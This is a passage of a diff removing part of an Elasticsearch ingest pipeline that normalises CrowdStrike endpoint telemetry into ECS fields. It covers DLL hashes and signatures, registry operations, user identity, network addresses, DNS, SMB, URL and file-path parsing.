-      tag: rename_crowdstrike_MD5HashData_to_dll_hash_md5_0d2bcdb4
-      if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows'
-      field: crowdstrike.MD5HashData
-      target_field: dll.hash.md5
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_SHA1HashData_to_dll_hash_sha1_2733445a
-      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
-      field: crowdstrike.SHA1HashData
-      target_field: dll.hash.sha1
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_SHA256HashData_to_dll_hash_sha256_aaaae286
-      if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows'
-      field: crowdstrike.SHA256HashData
-      target_field: dll.hash.sha256
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_ModuleSize_to_long_into_dll_Ext_size_42bb289b
-      if: ctx.crowdstrike?.ModuleSize != '' && ctx.host?.os?.type == 'windows'
-      field: crowdstrike.ModuleSize
-      type: long
-      target_field: dll.Ext.size
-      ignore_missing: true
-      ignore_failure: true
-  - script:
-      tag: script_set_dll_name_ac696ad2
-      if: |-
-        (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) &&
-        ctx.crowdstrike?.ImageFileName != null &&
-        ctx.host?.os?.type == 'windows'
-      source: |-
-        int idx = ctx.crowdstrike.ImageFileName.lastIndexOf('\\');
-        if (idx >= 0) {
-          ctx.dll = ctx.dll ?: [:];
-          ctx.dll.name = ctx.crowdstrike.ImageFileName.substring(idx+1);
-        }
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_ImageFileName_to_dll_path_0ebfe574
-      if: |-
-        (ctx.event?.action == 'ClassifiedModuleLoad' || ctx._temp?.isDriver == true) &&
-        ctx.host?.os?.type == 'windows'
-      field: crowdstrike.ImageFileName
-      target_field: dll.path
-      ignore_missing: true
-  - script:
-      tag: script_set_process_name_8064aa04
-      if: ctx._temp?.isLibrary == true && ctx.crowdstrike?.TargetImageFileName != null && ctx.host?.os?.type == 'windows'
-      source: |-
-        int idx = ctx.crowdstrike.TargetImageFileName.lastIndexOf('\\');
-        if (idx >= 0) {
-          ctx.process = ctx.process ?: [:];
-          ctx.process.name = ctx.crowdstrike.TargetImageFileName.substring(idx+1);
-        }
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_TargetImageFileName_to_process_executable_8f82dd8a
-      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
-      field: crowdstrike.TargetImageFileName
-      target_field: process.executable
-      ignore_missing: true
-  - script:
-      tag: script_set_process_name_40278491
-      if: |-
-        ctx.event?.action == 'ClassifiedModuleLoad' &&
-        ctx.crowdstrike?.ImageSignatureLevel != null &&
-        ctx.crowdstrike.ImageSignatureLevel != '' &&
-        ctx.crowdstrike?.ImageSignatureType != null &&
-        ctx.crowdstrike.ImageSignatureType != ''
-      source: |-
-        long signatureLevel = Long.parseLong(ctx.crowdstrike.ImageSignatureLevel);
-        long signatureType = Long.parseLong(ctx.crowdstrike.ImageSignatureType);
-        ctx.dll = ctx.dll ?: [:];
-        ctx.dll.code_signature = ctx.dll.code_signature ?: [:];
-        if (signatureType == 0) {
-          ctx.dll.code_signature.exists = false;
-          ctx.dll.code_signature.trusted = false;
-        } else if (signatureType >= 1 && (signatureLevel == 0 || signatureLevel == 1)) {
-          ctx.dll.code_signature.exists = true;
-          ctx.dll.code_signature.trusted = false;
-        } else if (signatureType >= 1 && signatureLevel >= 2) {
-          ctx.dll.code_signature.exists = true;
-          ctx.dll.code_signature.trusted = true;
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_db7ae317
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      tag: set_dll_code_signature_subject_name_67c64e63
-      if: ctx._temp?.isDriver == true && ctx.host?.os?.type == 'windows'
-      field: dll.code_signature.subject_name
-      copy_from: crowdstrike.CertificatePublisher
-      ignore_empty_value: true
-
-  # Registry fields.
-  - append:
-      tag: append_registry_data_strings_d0edbd10
-      if: ctx.crowdstrike?.RegStringValue != null && ctx.crowdstrike.RegStringValue != ''
-      field: registry.data.strings
-      value: '{{{crowdstrike.RegStringValue}}}'
-      allow_duplicates: false
-  - set:
-      tag: set_registry_path_e6aa2a33
-      if: ctx.crowdstrike?.RegObjectName != null && ctx.crowdstrike.RegObjectName != '' && ctx.crowdstrike?.RegValueName != null && ctx.crowdstrike.RegValueName != ''
-      field: registry.path
-      value: '{{{crowdstrike.RegObjectName}}}\{{{crowdstrike.RegValueName}}}'
-  - set:
-      tag: set_registry_path_49d20af1
-      if: ctx.crowdstrike?.RegValueName == null || ctx.crowdstrike.RegValueName == ''
-      field: registry.path
-      copy_from: crowdstrike.RegObjectName
-      ignore_empty_value: true
-  - set:
-      tag: set_registry_value_4b43d250
-      field: registry.value
-      copy_from: crowdstrike.RegValueName
-      ignore_empty_value: true
-  - gsub:
-      tag: gsub_crowdstrike_RegObjectName_into_registry_key_5c4a7818
-      field: crowdstrike.RegObjectName
-      target_field: registry.key
-      pattern: ^\\REGISTRY\\(?:USER|MACHINE)\\
-      replacement: ""
-      ignore_missing: true
-      ignore_failure: true
-  - script:
-      tag: script_set_event_action_and_type_29345ceb
-      if: ctx.crowdstrike?.RegOperationType != null
-      params:
-        op_types:
-          "1":
-            action: modification
-            type: change
-          "2":
-            action: deletion
-            type: deletion
-          "3":
-            action: creation
-            type: creation
-          "4":
-            action: deletion
-            type: deletion
-          "5":
-            action: modification
-            type: change
-          "6":
-            action: load
-            type: info
-          "7":
-            action: modification
-            type: change
-          "8":
-            action: open
-            type: access
-          "9":
-            action: query
-            type: access
-      source: |-
-        def op = params.get('op_types')[ctx.crowdstrike.RegOperationType];
-        if (op != null) {
-          ctx.event = ctx.event ?: [:];
-          ctx.event.type = [];
-          ctx.event.type.add(op.type);
-          ctx.event.action = op.action;
-        }
-  - script:
-      tag: script_set_registry_data_type_e45a255a
-      if: ctx.crowdstrike?.RegType != null
-      params:
-        data_types:
-          "0": REG_NONE
-          "1": REG_SZ
-          "2": REG_EXPAND_SZ
-          "3": REG_BINARY
-          "4": REG_DWORD
-          "5": REG_DWORD_BIG_ENDIAN
-          "6": REG_LINK
-          "7": REG_MULTI_SZ
-          "8": REG_RESOURCE_LIST
-          "9": REG_FULL_RESOURCE_DESCRIPTOR
-          "10": REG_RESOURCE_REQUIREMENTS_LIST
-          "11": REG_QWORD
-      source: |-
-        String data_type = params.get('data_types')[ctx.crowdstrike.RegType];
-        if (data_type != null) {
-          ctx.registry = ctx.registry ?: [:];
-          ctx.registry.data = ctx.registry.data ?: [:];
-          ctx.registry.data.type = data_type;
-        }
-
-  # User fields.
-  - rename:
-      tag: rename_crowdstrike_UID_to_user_id_a7e7d9cf
-      field: crowdstrike.UID
-      target_field: user.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_info_user_UserName_to_user_name_cc930c2f
-      if: ctx.crowdstrike?.info?.user?.UserName != null && ctx.user?.name == null
-      field: crowdstrike.info.user.UserName
-      target_field: user.name
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_info_user_User_into__temp_info_user_parts_dee4af27
-      if: ctx.crowdstrike?.info?.user?.User != null
-      field: crowdstrike.info.user.User
-      separator: \\{1,2}
-      target_field: _temp.info_user_parts
-  - set:
-      tag: set_user_domain_6f97903f
-      if: ctx._temp?.info_user_parts != null && ctx._temp.info_user_parts.size() == 2
-      field: user.domain
-      value: '{{{_temp.info_user_parts.0}}}'
-      ignore_empty_value: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_info_user_User_to_user_name_6ec3ffdd
-      if: ctx.crowdstrike?.info?.user?.User != null && ctx.user?.name == null
-      field: crowdstrike.info.user.User
-      target_field: user.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_GID_to_user_group_id_5c9b8998
-      field: crowdstrike.GID
-      target_field: user.group.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_UserSid_to_user_id_1cec3193
-      if: ctx.user?.id == null || ctx.user.id == ""
-      field: crowdstrike.UserSid
-      target_field: user.id
-      ignore_missing: true
-  - set:
-      tag: set_user_id_4f3a664d
-      if: ctx.user?.id == null && ctx._temp?.isFile == true
-      field: user.id
-      copy_from: crowdstrike.FileOperatorSid
-      ignore_empty_value: true
-  - append:
-      tag: append_user_roles_146dad6a
-      if: ctx.crowdstrike?.UserIsAdmin == "1"
-      field: user.roles
-      value: admin
-  - rename:
-      tag: rename_crowdstrike_User_Name_to_user_name_a4ea1f62
-      if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.Name != null && ctx.user?.name == null
-      field: crowdstrike.User.Name
-      target_field: user.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_User_ID_to_user_id
-      if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.ID != null && ctx.user?.id == null
-      field: crowdstrike.User.ID
-      target_field: user.id
-      ignore_missing: true
-  - remove:
-      tag: remove_crowdstrike_User
-      description: Remove User field if it still exist as Map.
-      if: ctx.crowdstrike?.User instanceof Map
-      field: crowdstrike.User
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_UserName_to_user_name_5437c07f
-      if: ctx.crowdstrike?.UserName != null && ctx.user?.name == null
-      field: crowdstrike.UserName
-      target_field: user.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_User_to_user_name_bf245c5d
-      if: ctx.crowdstrike?.User instanceof String && ctx.user?.name == null
-      field: crowdstrike.User
-      target_field: user.name
-      ignore_missing: true
-  - split:
-      tag: split_crowdstrike_UserPrincipal_into__temp_user_parts_9fd1bce5
-      if: ctx.crowdstrike?.UserPrincipal != null
-      field: crowdstrike.UserPrincipal
-      separator: '@'
-      target_field: _temp.user_parts
-  - rename:
-      tag: rename_crowdstrike_UserPrincipal_to_user_email_54920c0f
-      field: crowdstrike.UserPrincipal
-      target_field: user.email
-      ignore_missing: true
-  - set:
-      tag: set_user_domain_8dc33fc7
-      if: ctx.user?.domain == null && ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2
-      field: user.domain
-      value: '{{{_temp.user_parts.1}}}'
-      ignore_empty_value: true
-      ignore_failure: true
-  - append:
-      tag: append_user_domain_536a37ed
-      if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2
-      field: user.domain
-      value: '{{{_temp.user_parts.1}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - set:
-      tag: set_user_full_name_7172c7bf
-      if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2
-      field: user.full_name
-      value: '{{{_temp.user_parts.0}}}'
-      ignore_empty_value: true
-      ignore_failure: true
-  - set:
-      tag: set_user_name_e3f940d5
-      if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory')
-      field: user.name
-      copy_from: crowdstrike.SourceAccountSamAccountName
-      ignore_empty_value: true
-  - set:
-      tag: set_user_email_4558e3d3
-      if: |-
-        ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') &&
-        ctx.crowdstrike?.SourceAccountUserName instanceof String && ctx.crowdstrike.SourceAccountUserName.contains('@')
-      field: user.email
-      copy_from: crowdstrike.SourceAccountUserName
-      ignore_empty_value: true
-  - set:
-      tag: set_user_id_12584d3a
-      if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory')
-      field: user.id
-      copy_from: crowdstrike.SourceEndpointAccountObjectSid
-      ignore_empty_value: true
-  - set:
-      tag: set_user_domain_acdd7f9f
-      if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory')
-      field: user.domain
-      copy_from: crowdstrike.SourceAccountDomain
-      ignore_empty_value: true
-  - set:
-      tag: set_user_name_d3e6a828
-      if: ctx.event?.action == 'TokenImpersonated'
-      field: user.name
-      copy_from: crowdstrike.OriginalUserName
-      ignore_empty_value: true
-  - set:
-      tag: set_user_id_5a4715df
-      if: ctx.event?.action == 'TokenImpersonated'
-      field: user.id
-      copy_from: crowdstrike.OriginalUserSid
-      ignore_empty_value: true
-  - set:
-      tag: set_user_target_name_e7ea9dab
-      if: ctx.event?.action == 'TokenImpersonated'
-      field: user.target.name
-      copy_from: crowdstrike.ImpersonatedUserName
-      ignore_empty_value: true
-  - set:
-      tag: set_user_name_3ad2bb37
-      if: ctx.event?.action == 'SudoCommandAttempt'
-      field: user.name
-      copy_from: crowdstrike.OriginalUserName
-      ignore_empty_value: true
-  - set:
-      tag: set_user_name_14b4c00f
-      if: (ctx.user?.name == null || ctx.user.name == '') && ctx.event?.action == 'SudoCommandAttempt'
-      field: user.name
-      value: root
-  - set:
-      tag: set_user_id_78c7e383
-      if: ctx.event?.action == 'SudoCommandAttempt'
-      field: user.id
-      copy_from: crowdstrike.OriginalUserID
-      ignore_empty_value: true
-  - set:
-      tag: set_user_id_7471f6df
-      if: ctx.user?.id == null && ctx.event?.action == 'SudoCommandAttempt'
-      field: user.id
-      value: 0
-  - set:
-      tag: set_user_target_name_9dc9fd59
-      if: ctx.event?.action == 'SudoCommandAttempt'
-      field: user.target.name
-      copy_from: crowdstrike.NewUsername
-      ignore_empty_value: true
-  - set:
-      tag: set_user_target_name_bd5b4743
-      if: (ctx.user?.target?.name == null || ctx.user.target.name == '') && ctx.event?.action == 'SudoCommandAttempt'
-      field: user.target.name
-      value: root
-  - set:
-      tag: set_user_target_id_de692ea1
-      if: ctx.event?.action == 'SudoCommandAttempt'
-      field: user.target.id
-      copy_from: crowdstrike.NewUserID
-      ignore_empty_value: true
-  - set:
-      tag: set_user_target_id_aeb7c3f6
-      if: ctx.user?.target?.id == null && ctx.event?.action == 'SudoCommandAttempt'
-      field: user.target.id
-      value: 0
-  - append:
-      tag: append_related_user_3b423052
-      if: ctx.user?.name != null
-      field: related.user
-      value: '{{{user.name}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - append:
-      tag: append_related_user_f49500fe
-      if: ctx.crowdstrike?.info?.user?.User != null
-      field: related.user
-      value: '{{{crowdstrike.info.user.User}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - append:
-      tag: append_related_user_a621a20e
-      if: ctx.user?.full_name != null
-      field: related.user
-      value: '{{{user.full_name}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - append:
-      tag: append_related_user_fd5e2e77
-      if: ctx.user?.target?.name != null
-      field: related.user
-      value: '{{{user.target.name}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - append:
-      tag: append_related_user_36d4b55a
-      if: ctx.user?.email != null
-      field: related.user
-      value: '{{{user.email}}}'
-      allow_duplicates: false
-      ignore_failure: true
-  - append:
-      tag: append_related_user_3b2f7fde
-      if: ctx.user?.id != null
-      field: related.user
-      value: '{{{user.id}}}'
-      allow_duplicates: false
-      ignore_failure: true
-
-  # Networking fields.
-  - set:
-      tag: set_network_direction_outbound_0a78995a
-      if: ctx.crowdstrike?.ConnectionDirection == "0"
-      field: network.direction
-      value: outbound
-  - set:
-      tag: set_network_direction_inbound_3994c5e4
-      if: ctx.crowdstrike?.ConnectionDirection == "1"
-      field: network.direction
-      value: inbound
-  - set:
-      tag: set_network_direction_unknown_85fe37dc
-      if: ctx.network?.direction == null && ctx.crowdstrike?.ConnectionDirection != null && ctx.crowdstrike.ConnectionDirection != ""
-      field: network.direction
-      value: unknown
-  - split:
-      tag: split_crowdstrike_LocalAddressIP4_f22b33b0
-      if: ctx.crowdstrike?.LocalAddressIP4 != null
-      field: crowdstrike.LocalAddressIP4
-      separator: \s+
-  - convert:
-      tag: convert_crowdstrike_LocalAddressIP4_to_ip_51f6b345
-      if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
-      field: crowdstrike.LocalAddressIP4
-      type: ip
-      on_failure:
-        - append:
-            tag: append_error_message_e88e196b
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_RemoteAddressIP4_to_ip_4294f17c
-      field: crowdstrike.RemoteAddressIP4
-      type: ip
-      ignore_missing: true
-  - foreach:
-      tag: foreach_of_crowdstrike_LocalAddressIP4_6d151b47
-      if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
-      field: crowdstrike.LocalAddressIP4
-      processor:
-        append:
-          tag: append_related_ip_8dd5b5a0
-          field: related.ip
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-  - split:
-      tag: split_crowdstrike_LocalAddressIP6_fc0e2aa0
-      if: ctx.crowdstrike?.LocalAddressIP6 != null
-      field: crowdstrike.LocalAddressIP6
-      separator: \s+
-  - convert:
-      tag: convert_crowdstrike_LocalAddressIP6_to_ip_7bf75c3b
-      if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
-      field: crowdstrike.LocalAddressIP6
-      type: ip
-      on_failure:
-        - append:
-            tag: append_error_message_6fd2c379
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_RemoteAddressIP6_to_ip_cc6268b6
-      field: crowdstrike.RemoteAddressIP6
-      type: ip
-      ignore_missing: true
-  - foreach:
-      tag: foreach_of_crowdstrike_LocalAddressIP6_73647309
-      if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
-      field: crowdstrike.LocalAddressIP6
-      processor:
-        append:
-          tag: append_related_ip_d68eb75e
-          field: related.ip
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-  # The condition for this processor is all non-inbound, but the pipeline operates assuming the
-  # traffic is outbound. In cases where there is no information we make this assumption rather
-  # than dropping the data on the floor.
-  - pipeline:
-      tag: pipeline_outbound_network_dff2c778
-      if: ctx.network?.direction != 'inbound'
-      name: '{{ IngestPipeline "outbound_network" }}'
-  - pipeline:
-      tag: pipeline_inbound_network_256f4a6b
-      if: ctx.network?.direction == 'inbound'
-      name: '{{ IngestPipeline "inbound_network" }}'
-  - rename:
-      tag: rename_crowdstrike_Protocol_to_network_iana_number_c957cab0
-      field: crowdstrike.Protocol
-      target_field: network.iana_number
-      ignore_missing: true
-  - script:
-      tag: network_transport_lookup_6cfaca70
-      if: ctx.network?.iana_number != null
-      source: |-
-        def iana_number = ctx.network.iana_number;
-        if (iana_number == '0') {
-            ctx.network.transport = 'hopopt';
-        } else if (iana_number == '1') {
-            ctx.network.transport = 'icmp';
-        } else if (iana_number == '2') {
-            ctx.network.transport = 'igmp';
-        } else if (iana_number == '6') {
-            ctx.network.transport = 'tcp';
-        } else if (iana_number == '8') {
-            ctx.network.transport = 'egp';
-        } else if (iana_number == '17') {
-            ctx.network.transport = 'udp';
-        } else if (iana_number == '47') {
-            ctx.network.transport = 'gre';
-        } else if (iana_number == '50') {
-            ctx.network.transport = 'esp';
-        } else if (iana_number == '58') {
-            ctx.network.transport = 'ipv6-icmp';
-        } else if (iana_number == '112') {
-            ctx.network.transport = 'vrrp';
-        } else if (iana_number == '132') {
-            ctx.network.transport = 'sctp';
-        }
-  - community_id:
-      tag: community_id_99f56bc8
-      ignore_missing: true
-      ignore_failure: true
-  - append:
-      tag: append_related_ip_de300c66
-      if: ctx.source?.ip != null && ctx.source.ip != ""
-      field: related.ip
-      value: '{{{source.ip}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_related_ip_cb5f9c4b
-      if: ctx.destination?.ip != null && ctx.destination.ip != ""
-      field: related.ip
-      value: '{{{destination.ip}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c
-      field: crowdstrike.MAC
-      target_field: source.mac
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720
-      if: ctx.source?.mac == null
-      field: crowdstrike.PhysicalAddress
-      target_field: source.mac
-      ignore_missing: true
-  - uppercase:
-      tag: uppercase_source_mac_5b4e7be2
-      field: source.mac
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_DownloadServer_to_server_address_42a5dc43
-      field: crowdstrike.DownloadServer
-      target_field: server.address
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_DownloadPath_to_url_path_93fc692a
-      field: crowdstrike.DownloadPath
-      target_field: url.path
-      ignore_missing: true
-
-  # URL fields.
-  - set:
-      tag: set_url_path_da9a4fde
-      if: ctx.url?.path != null && !ctx.url.path.startsWith("/")
-      field: url.path
-      value: /{{{url.path}}}
-  - registered_domain:
-      tag: registered_domain_server_address_into_server_5b9b14fb
-      field: server.address
-      target_field: server
-      ignore_missing: true
-  - set:
-      tag: set_url_scheme_73338c43
-      if: ctx.crowdstrike?.DownloadPort == 443
-      field: url.scheme
-      value: https
-  - set:
-      tag: set_url_scheme_d61be5fe
-      if: ctx.crowdstrike?.DownloadPort != null && ctx.crowdstrike.DownloadPort != 443
-      field: url.scheme
-      value: http
-  - set:
-      tag: set_url_full_fbad7e02
-      if: ctx.url?.scheme != null && ctx.server?.address != null && ctx.url?.path != null
-      field: url.full
-      value: '{{{url.scheme}}}://{{{server.address}}}{{{url.path}}}'
-  - uri_parts:
-      tag: uri_parts_url_full_443b4650
-      if: ctx.url?.full != null
-      field: url.full
-  - registered_domain:
-      tag: registered_domain_url_domain_into_url_78008ed6
-      field: url.domain
-      target_field: url
-      ignore_missing: true
-      ignore_failure: true
-
-  # IP Geolocation Lookup.
-  - geoip:
-      tag: geoip_observer_ip_into_observer_geo_0729ba64
-      field: observer.ip
-      target_field: observer.geo
-      ignore_missing: true
-  - geoip:
-      tag: geoip_source_ip_into_source_geo_fcc86651
-      field: source.ip
-      target_field: source.geo
-      first_only: true
-      ignore_missing: true
-  - geoip:
-      tag: geoip_destination_ip_into_destination_geo_ab5e2968
-      field: destination.ip
-      target_field: destination.geo
-      ignore_missing: true
-
-  # IP Autonomous System (AS) Lookup
-  - geoip:
-      tag: geoip_source_ip_into_source_as_56e63fbc
-      field: source.ip
-      target_field: source.as
-      database_file: GeoLite2-ASN.mmdb
-      first_only: true
-      properties:
-        - asn
-        - organization_name
-      ignore_missing: true
-  - rename:
-      tag: rename_source_as_asn_to_source_as_number_a917047d
-      field: source.as.asn
-      target_field: source.as.number
-      ignore_missing: true
-  - rename:
-      tag: rename_source_as_organization_name_to_source_as_organization_name_f1362d0b
-      field: source.as.organization_name
-      target_field: source.as.organization.name
-      ignore_missing: true
-  - geoip:
-      tag: geoip_destination_ip_into_destination_as_8a007787
-      field: destination.ip
-      target_field: destination.as
-      database_file: GeoLite2-ASN.mmdb
-      properties:
-        - asn
-        - organization_name
-      ignore_missing: true
-  - rename:
-      tag: rename_destination_as_asn_to_destination_as_number_3b459fcd
-      field: destination.as.asn
-      target_field: destination.as.number
-      ignore_missing: true
-  - rename:
-      tag: rename_destination_as_organization_name_to_destination_as_organization_name_814bd459
-      field: destination.as.organization_name
-      target_field: destination.as.organization.name
-      ignore_missing: true
-
-  # DNS fields.
-  - set:
-      tag: set_dns_type_2198a4ce
-      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
-      field: dns.type
-      value: query
-  - set:
-      tag: set_network_protocol_6995faae
-      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
-      field: network.protocol
-      value: dns
-  - registered_domain:
-      tag: registered_domain_crowdstrike_DomainName_into_dns_question_8498515b
-      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
-      field: crowdstrike.DomainName
-      target_field: dns.question
-      ignore_missing: true
-  - rename:
-      tag: rename_dns_question_domain_to_dns_question_name_699a0f98
-      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
-      field: dns.question.domain
-      target_field: dns.question.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_DomainName_to_dns_question_name_5cc610bf
-      if: ctx.event?.action != null && ctx.dns?.question?.name == null && ctx.event.action.contains("DnsRequest")
-      field: crowdstrike.DomainName
-      target_field: dns.question.name
-      ignore_missing: true
-  - script:
-      description: Map decimal DNS request type to its name.
-      tag: dns_request_type_to_name_d668973b
-      if: ctx.event?.action != null && ctx.crowdstrike?.RequestType != null && !ctx.crowdstrike.RequestType.isEmpty() && ctx.event.action.contains("DnsRequest")
-      params:
-        "1": A
-        "2": NS
-        "5": CNAME
-        "6": SOA
-        "12": PTR
-        "13": HINFO
-        "15": MX
-        "16": TXT
-        "17": RP
-        "18": AFSDB
-        "24": SIG
-        "25": KEY
-        "28": AAAA
-        "29": LOC
-        "33": SRV
-        "35": NAPTR
-        "36": KX
-        "37": CERT
-        "39": DNAME
-        "42": APL
-        "43": DS
-        "44": SSHFP
-        "45": IPSECKEY
-        "46": RRSIG
-        "47": NSEC
-        "48": DNSKEY
-        "49": DHCID
-        "50": NSEC3
-        "51": NSEC3PARAM
-        "52": TLSA
-        "53": SMIMEA
-        "55": HIP
-        "59": CDS
-        "60": CDNSKEY
-        "61": OPENPGPKEY
-        "62": CSYNC
-        "63": ZONEMD
-        "64": SVCB
-        "65": HTTPS
-        "108": EUI48
-        "109": EUI64
-        "249": TKEY
-        "250": TSIG
-        "256": URI
-        "257": CAA
-        "32768": TA
-        "32769": DLV
-      source: |-
-        def t = params[ctx.crowdstrike.RequestType];
-        if (t != null) {
-          if (ctx.dns?.question == null) {
-            ctx.dns.question = new HashMap();
-          }
-          ctx.dns.question.type = t;
-          ctx.crowdstrike.remove("RequestType");
-        }
-
-  # SMB fields.
-  - registered_domain:
-      tag: registered_domain_crowdstrike_DomainName_into_destination_d257bdc5
-      if: ctx.event?.action != null && ctx.event.action.contains("SmbServerShareOpenedEtw")
-      field: crowdstrike.DomainName
-      target_field: destination
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_DomainName_to_destination_domain_ce83b813
-      if: ctx.event?.action != null && ctx.destination?.domain == null && ctx.event.action.contains("SmbServerShareOpenedEtw")
-      field: crowdstrike.DomainName
-      target_field: destination.domain
-      ignore_missing: true
-
-  # File fields.
-  - set:
-      tag: set_file_pe_original_file_name_18b6c509
-      if: ctx._temp?.isFile == true && ctx.host?.os?.type == 'windows'
-      field: file.pe.original_file_name
-      copy_from: crowdstrike.OriginalFilename
-      ignore_empty_value: true
-  - convert:
-      tag: convert_crowdstrike_Size_to_long_e1288c18
-      field: crowdstrike.Size
-      type: long
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_Size_to_file_size_ff917179
-      field: crowdstrike.Size
-      target_field: file.size
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_FileIdentifier_to_file_inode_0a17a91b
-      field: crowdstrike.FileIdentifier
-      target_field: file.inode
-      ignore_missing: true
-  - set:
-      tag: set_file_Ext_original_path_9b97db2e
-      if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo'
-      field: file.Ext.original.path
-      copy_from: crowdstrike.SourceFileName
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_SourceFileName_to_file_path_2d976c16
-      field: crowdstrike.SourceFileName
-      target_field: file.path
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_TargetFileName_to_file_path_069dcf4c
-      if: ctx.file?.path == null
-      field: crowdstrike.TargetFileName
-      target_field: file.path
-      ignore_missing: true
-      ignore_failure: true
-  - set:
-      tag: set_file_path_4a274218
-      if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo'
-      field: file.path
-      copy_from: crowdstrike.TargetFileName
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_DiskParentDeviceInstanceId_to_file_device_f0e46ae0
-      field: crowdstrike.DiskParentDeviceInstanceId
-      target_field: file.device
-      ignore_missing: true
-  - set:
-      tag: set_file_type_f7adee81
-      if: ctx.file?.path != null && ctx.file.type == null && ctx.event?.action != null && !ctx.event.action.contains("Directory")
-      field: file.type
-      value: file
-  - set:
-      tag: set_file_type_d001ae21
-      if: ctx.file?.path != null && ctx.event?.action != null && (ctx.event.action.contains("Directory") || ctx.file.path.endsWith("\\") || ctx.file.path.endsWith("/"))
-      field: file.type
-      value: dir
-  - script:
-      description: Adds file information.
-      tag: parse_file_path_387a3a29
-      if: ctx.file?.path != null && ctx.file.path.length() > 1
-      source: |-
-        def removeSuffix(String s, String suffix) {
-          if (s != null && suffix != null && s.endsWith(suffix)) {
-            return s.substring(0, s.length() - suffix.length());
-          }
-          return s;
-        }
-
-        def path = removeSuffix(ctx.file.path, "/");
-        path = removeSuffix(path, "\\");
-        def idx = path.lastIndexOf("\\");
-        if (idx == -1) {
-          idx = path.lastIndexOf("/");
-        }
-        if (idx > -1) {
-          if (ctx.file == null) {
-              ctx.file = new HashMap();
-          }
-          ctx.file.name = path.substring(idx+1);
-          ctx.file.directory = path.substring(0, idx);
-
-          def extIdx = ctx.file.name.lastIndexOf(".");
-          if (extIdx > -1 && ctx.file.type == "file") {
-            ctx.file.extension = ctx.file.name.substring(extIdx+1);
-          }
-        }
-        if (path.indexOf(':') == 1) {
-          ctx.file.drive_letter = path.substring(0, 1).toUpperCase();
-        }
-  - script:
-      description: Adds file.Ext.original.* information.
-      tag: parse_file_ext_original_path_3333a0b6
